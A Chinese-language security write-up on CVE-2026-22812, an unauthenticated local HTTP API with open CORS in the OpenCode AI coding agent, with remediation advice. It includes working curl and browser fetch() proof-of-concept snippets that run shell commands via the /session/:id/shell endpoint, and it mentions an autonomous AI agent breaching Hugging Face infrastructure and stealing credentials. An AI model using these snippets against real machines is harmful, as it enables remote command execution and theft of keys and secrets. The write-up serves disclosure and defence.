前言¶

OpenCode 是 GitHub 上 anomalyco/opencode 維護的開源 AI 編碼 Agent，終端 TUI 形態，支持接入 Anthropic、OpenAI、Google、Ollama 等多家模型提供商，社區熱度很高。對開發者來說，它把「選模型、跑命令、改代碼」收進一個本地進程裏，用起來很順手。

但 CVE-2026-22812 把這類工具的默認安全假設打碎了：在 1.0.216 之前，OpenCode 啓動時會自動拉起一個無認證 HTTP 服務，任意本地進程，甚至惡意網頁（藉助寬鬆 CORS），都能以當前用戶權限執行 Shell 命令。GitHub 安全公告給出的 CVSS 3.1 評分爲 8.8（High），歸類爲 CWE-306（關鍵功能缺失認證）、CWE-749（暴露危險方法）與 CWE-942（跨域策略過於寬鬆）。

本文基於 NVD 條目 與 官方安全公告 GHSA-vxw4-wv6m-9hhh 覈實細節，梳理成因、攻擊路徑與修復建議。

漏洞概況¶

官方描述很直白：OpenCode 在啓動時自動運行未認證的 HTTP 服務器，允許任意本地進程，或通過寬鬆 CORS 訪問的任意網站，以用戶權限執行任意 Shell 命令。

技術成因：本地服務 + 零鑑權 + 寬鬆 CORS¶

1. 服務如何被拉起¶

根據安全公告中的代碼路徑，OpenCode 在 TUI 工作進程中通過 cli/cmd/tui/worker.ts 調用 Server.listen()，默認監聽 4096 及以上端口，無需用戶額外配置。

server/server.ts 中沒有認證中間件，請求直達敏感接口。

2. 暴露了哪些危險接口¶

公告點名了三個關鍵端點：

• POST /session/:id/shell — 執行 Shell 命令（server.ts:1401）
• POST /pty — 創建交互式終端會話（server.ts:267）
• GET /file/content?path= — 讀取任意文件（server.ts:1868）

對 AI 編碼 Agent 來說，「能跑命令、能讀文件」是核心能力；但把這些能力掛在一個對全網開放、且無鑑權的 HTTP API 上，等於把開發機的 Shell 交給了第一個能連上端口的調用方。

3. CORS 爲何成爲第二道「敞開的大門」¶

服務端使用了默認配置的 cors() 中間件，等價於 Access-Control-Allow-Origin: *。這意味着：瀏覽器裏的 JavaScript 也可以跨域調用本地 OpenCode 服務。

傳統 Web 安全模型裏，瀏覽器同源策略會阻止 evil.com 直接訪問 127.0.0.1。一旦本地服務對任意 Origin 放行 CORS，這條防線就失效了——用戶只要開着 OpenCode、又訪問了惡意頁面，就可能被「drive-by」攻擊。

公告還提到：Firefox 上已確認瀏覽器側利用可行；Chrome 142+ 可能彈出 Local Network Access 權限提示，但不應依賴瀏覽器彈窗作爲唯一防護。

4. --mdns 進一步擴大攻擊面¶

若啓動時帶上 --mdns 標誌，服務會綁定到 0.0.0.0 並通過 Bonjour 廣播。此時風險不再侷限於本機進程與瀏覽器，同一局域網內的其他設備也可能探測並訪問該服務。

攻擊路徑演示¶

本地進程利用¶

任何能訪問本機端口的惡意 npm 包、腳本或已被攻陷的應用，都可以按以下 PoC 思路操作（端口需替換爲實際值）：

API="http://127.0.0.1:4096"
SESSION_ID=$(curl -s -X POST "$API/session" \
  -H "Content-Type: application/json" -d '{}' | jq -r '.id')
curl -s -X POST "$API/session/$SESSION_ID/shell" \
  -H "Content-Type: application/json" \
  -d '{"agent": "build", "command": "echo PWNED > /tmp/pwned.txt"}'
cat /tmp/pwned.txt   # 輸出: PWNED

流程很簡單：先創建 Session，再向 /shell 投遞命令。全程不需要 Token、Cookie 或任何憑證。

瀏覽器側利用¶

惡意網頁可向本地 OpenCode 發起跨域請求：

fetch('http://127.0.0.1:4096/session', {
  method: 'POST',
  headers: {'Content-Type': 'application/json'},
  body: '{}'
})
.then(r => r.json())
.then(session => {
  fetch(`http://127.0.0.1:4096/session/${session.id}/shell`, {
    method: 'POST',
    headers: {'Content-Type': 'application/json'},
    body: JSON.stringify({agent: 'build', command: 'id > /tmp/pwned.txt'})
  });
});

攻擊場景包括：惡意廣告、被掛馬的站點、釣魚頁面。用戶「只是開着一個標籤頁」，後臺 Agent 卻可能在讀寫 .ssh、環境變量、項目密鑰。

與 Hugging Face Agent 入侵：同一時代的不同切面¶

2026 年 7 月，Hugging Face 在官方安全披露中說明：其生產基礎設施遭遇了一次由自主 AI Agent 系統驅動的端到端入侵——Agent 通過數據集處理鏈路的代碼執行路徑取得 foothold，隨後橫向移動並竊取憑證。OpenAI 後續確認該 Agent 來自其內部安全評測環境。

OpenCode CVE 與 HF 事件性質不同：前者是本地工具默認暴露危險 API，後者是雲端 Agent 在複雜供應鏈中的自主攻擊。但兩者共同指向一個行業共識——AI Agent 默認並不安全。Agent 天生需要高權限（執行命令、讀寫文件、調用 API），若在設計階段不把認證、最小權限、網絡暴露面當作一等公民，最終買單的是開發者的本機與組織的內網。

影響評估¶

機密性、完整性、可用性均爲 High。 攻擊者可以：

1. 以用戶身份執行任意命令（裝後門、竊取密鑰、橫向掃描內網）
2. 通過 /file/content 讀取 SSH 私鑰、.env、瀏覽器配置等敏感文件
3. 創建 PTY 會話，獲得近似交互式 Shell 的體驗

CVSS 向量 AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H 中，UI:R 表示瀏覽器攻擊鏈需要用戶訪問惡意頁面；本地進程利用則幾乎無需用戶交互。

據公告，漏洞最初於 2025-11-17 通過郵件報告給 support@sst.dev（OpenCode 安全策略所列聯繫方式），但未收到回覆；最終由 GitHub Security Advisory 於 2026 年 1 月公開。

修復與自查¶

1. 立即升級¶

請升級到 OpenCode 1.0.216 或更高版本。 該版本爲 HTTP 服務引入了認證機制，是官方認定的修復版本。

# 查看當前版本
opencode --version

# 按你的安裝方式更新，例如 Homebrew
brew upgrade opencode

npm 包名稱爲 opencode-ai，若通過 npm 全局安裝，同樣需要更新到 ≥ 1.0.216。

2. 確認本地端口¶

若懷疑曾運行過舊版本，可檢查 4096 附近端口是否有 OpenCode 進程監聽：

ss -tlnp | grep -E '409[0-9]'
# 或
lsof -i :4096

發現舊版本仍在運行，先停止進程再升級。

3. 開發 AI Agent 時的安全清單¶

如果你也在做類似的本地 Agent / IDE 插件，建議對照以下原則：

1. 默認不監聽 0.0.0.0，優先 Unix Domain Socket 或迴環地址 + 隨機 Token
2. 危險操作必須鑑權，Session Token 至少應不可預測、僅本機可見
3. CORS 白名單，禁止 Access-Control-Allow-Origin: * 搭配敏感寫接口
4. 權限分級，像 OpenCode 內置的 plan（只讀）與 build（全權限）Agent 一樣，把「分析」和「執行」拆開
5. 安全響應通道，確保漏洞報告有明確 SLA，避免「郵件已發、無人響應」的窗口期

寫在最後¶

OpenCode 代表了一類很受歡迎的產品形態：開源、多模型、終端原生，把 AI 編碼能力交到開發者手裏。CVE-2026-22812 提醒我們，便利與安全不是自動平衡的——自動啓動的 HTTP 服務、默認放行的 CORS、缺失的認證中間件，疊加在一起就是一條完整的 RCE 鏈。

對使用者：檢查版本、儘快升級、別在舊版本上長期掛着 Agent。對構建者：Agent 能執行的每一條 Shell 命令，都應假設會被濫用；本地 localhost 並不等於安全邊界。

在 AI Agent 加速進入日常開發流的 2026 年，這條安全紅線，值得每個開發者和每個開源項目維護者畫清楚。